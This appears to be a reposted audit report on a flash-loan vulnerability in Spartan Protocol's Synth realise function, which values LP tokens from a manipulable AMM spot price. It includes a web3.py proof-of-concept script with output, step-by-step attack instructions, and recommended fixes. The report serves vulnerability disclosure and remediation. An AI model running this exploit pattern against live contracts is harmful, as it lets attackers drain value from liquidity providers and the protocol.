Synth realise is vulnerable to flash loan attacks
The Synth realise function values LP tokens using the AMM spot price, which can be shifted within a single transaction. An attacker could move the pool ratio, call realise, and reverse the trade to change the recorded LP balance and gain value at the protocol's expense.
Submitted by jonah1005, also found by adelamo_
Synth realise function calculates baseValueLP and baseValueSynth base on AMM spot price which is vulnerable to flash loan attack. Synth’s lp is subject to realise whenever the AMM ratio is different than Synth’s debt ratio.
The attack does not necessarily require a flash loan. A big whale of the lp token holders could keep calling realise by shifting token ratio of AMM pool back and forth.
The vulnerability is located at Synth.sol L187-L199. Where the formula here is dangerous.
Here’s a script for conducting flashloan attack:
flashloan_amount = init_amount
user = w3.eth.accounts[0]
marked_token.functions.transfer(user, flashloan_amount).transact()
marked_token.functions.transfer(token_pool.address, flashloan_amount).transact({'from': user})
token_pool.functions.addForMember(user).transact({'from': user})
received_lp = token_pool.functions.balanceOf(user).call()
synth_balance_before_realise = token_synth.functions.mapSynth_LPBalance(token_pool.address).call()
token_synth.functions.realise(token_pool.address).transact()
token_pool.functions.transfer(token_pool.address, received_lp).transact({'from': user})
token_pool.functions.removeForMember(user).transact({'from': user})
token_synth.functions.realise(token_pool.address).transact()
synth_balance_after_realise = token_synth.functions.mapSynth_LPBalance(token_pool.address).call()
print('synth_lp_balance_after_realise', synth_balance_after_realise)
print('synth_lp_balance_before_realise', synth_balance_before_realise)
Output:
synth_balance_after_realise 1317859964829313908162
synth_balance_before_realise 2063953488372093023256
Calculating Lp token’s value base on AMM protocol is known to be dangerous. There are a few steps that might solve the issue:
- calculate token’s price from a reliable source. Implement a TWAP oracle or uses chainlink oracle.
- calculate lp token value based on anti-flashloan formula. Alpha finance’s formula is a good reference: https://blog.alphafinance.io/fair-lp-token-pricing
verifyfirst (Spartan) confirmed and disagreed with severity:
A proposal has been suggested to limit the use of realise() for a DAO proposal. This will allow only liquidity providers to choose the outcome of a function that directly affects them.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the contract derives LP and synth values from the instantaneous AMM spot price instead of a manipulation-resistant price source.
Impact
An attacker could manipulate the recorded LP balance and extract value from the protocol; the reporter notes a large LP holder could do the same without a flash loan.
What the attacker needed
Capital or a flash loan; LP position in the pool
The fix
The project suggested restricting realise so only liquidity providers can call it through a DAO proposal; the reporter also recommends a TWAP or Chainlink price source and an anti-flash-loan LP valuation formula.
How it was found
- Obtain a large amount of the market token, for example through a flash loan.
- Deposit it into the token pool and receive LP tokens.
- Call realise on the synth for the pool.
- Return the LP tokens to the pool and withdraw the deposit.
- Call realise again and compare the recorded LP balance before and after.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A liquidity pool sets a token's price from the current balance of the two tokens in it. If someone can briefly add or remove a large amount, that price moves a lot for a moment. Here the contract read that temporary price when updating a balance, so a quick in-and-out trade could leave it with a wrong value.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.